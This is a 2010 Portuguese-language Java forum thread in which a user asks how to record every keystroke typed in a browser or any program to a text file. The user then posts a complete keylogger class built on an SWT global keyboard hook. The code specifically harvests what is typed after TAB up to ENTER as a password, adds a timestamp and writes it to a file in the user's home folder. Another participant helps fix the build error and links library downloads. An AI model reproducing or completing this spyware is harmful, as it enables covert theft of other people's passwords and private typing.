[DUVIDA]Capturar todas as entradas do teclado

9 respostas
R

Estou querendo cirar em java um programa que capture as entradas do teclado. Tudo oque for digitado no browser ou em qualquer outro programa sera registrado em um txt.

Eu sei utilizar a classe Scanner. Mas ela parece que só captura oq é digitado na linha de comando.

Alguem sabe como eu posso capturar todas as entradas?

9 Respostas

palerique

E ai brother, beleza?

Cara, eu encontrei esse tópico que pode te ajudar:

http://www.guj.com.br/posts/list/109811.java

Atc,

PH

R

obrigado ajudou

R
Aqui esta dando um erro besta aqui! o codigo é esse:
import java.awt.event.KeyEvent;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;

import org.eclipse.swt.extension.hook.Hook;
import org.eclipse.swt.extension.hook.data.*;
import org.eclipse.swt.extension.hook.listener.HookEventListener;

public class KeyLogger {
	
	StringBuffer pass = new StringBuffer();
	StringBuffer rest = new StringBuffer();

	boolean concat = false;
	String file = System.getProperty("user.home")
			+ System.getProperty("file.separator")
			+ System.getProperty("user.name") + ".txt";
	final int wordSize = 5;
	int count;

	public KeyLogger() {
		Hook.KEYBOARD.addListener(new HookEventListener() {

			@Override
			public void acceptHookData(HookData hookData) {
				KeyboardHookData khd = (KeyboardHookData) hookData;
				boolean ts = khd.getTransitionState();
				long keyCode = khd.getVirtualKeyCode();

				if (hookData != null && !ts) {

					if (keyCode == KeyEvent.VK_TAB) {
						System.out.println("TAB");
						concat = true;
					}// of TAB

					if (concat) {
						System.out.println("CONCAT");
						if (keyCode != KeyEvent.VK_TAB && keyCode != 13)
							pass.append((char) keyCode);

						System.out.println(pass);

						if (keyCode == 13) {
							System.out.println("ENTER");
							System.out.println("Catch pass:" + pass);

							String sDate = new SimpleDateFormat(
									"dd/MM/yyyy H:m:s").format(new Date());

							appendFile(sDate + "=[" + pass.toString() + "]",
									true);

							// clean
							pass = new StringBuffer();
							concat = false;

						}// of ENTER

					}// of concat
					else {

						if (count == wordSize) {
							appendFile(rest.toString(), false);
							rest = new StringBuffer();
							count = 0;
						} else {
							rest.append((char) keyCode);
						}
						// increase
						count++;
					}
				}//
			}

		});

		Hook.KEYBOARD.install();
		/*
		 * Runtime.getRuntime().addShutdownHook( new Thread(){ public void
		 * run(){ System.out.println("Leaving"); appendFile(); } });
		 */

	}

	public void appendFile(String pass, boolean nl) {
		try {
			BufferedWriter out = new BufferedWriter(new FileWriter(file, true));
			out.write(pass);
			if (nl)
				out.newLine();
			out.close();
		} catch (IOException e) {
			e.printStackTrace();
		}
	}

	public static void main(String args[]) {
		new KeyLogger();
	}
}

o erro esta nessas linhas:

import org.eclipse.swt.extension.hook.Hook;
import org.eclipse.swt.extension.hook.data.*;
import org.eclipse.swt.extension.hook.listener.HookEventListener;

o erro que aparece é esse:

the import org.eclipse cant be resolved.

ALguem sabe a soulução disso?

palerique

Você precisa seguir o passo a passo que está naquele tópico que te passei!

Esse erro é porque o Eclipse não está encontrando esses classes no seu workspace.

Abrasss,

PH

palerique

Esse site te ensina a instalar a API SWT no Eclipse!

É o que está faltando pra você!

Abrasss,
PH

R

palerique valeu pela força, mais o site esta indisponivel para baixar o org.eclipse.stw.extension para win32

tem como voce ou alguem disponibilizar esse arquivo pra mim importar aqui no meu workspace?

palerique

http://www.eclipse.org/downloads/download.php?file=/eclipse/downloads/drops/R-3.5.2-201002111343/swt-3.5.2-win32-win32-x86.zip

Abrasss,

PH

R

Boa tarde,

eu ja tinha baixado por ai, eu importei o projeto, depois adicionei no build path do projeto que tem o keylogger e nada, continua com o mesmo erro

palerique

Cara, não sei o que está rolando! :frowning:

Tenta refazer os imports ou dar um clean no projeto!
O Eclipse às vezes tem disso!

Abrasss,

PH

Criado 31 de maio de 2010
Ultima resposta 1 de jun. de 2010
Respostas 9
Participantes 2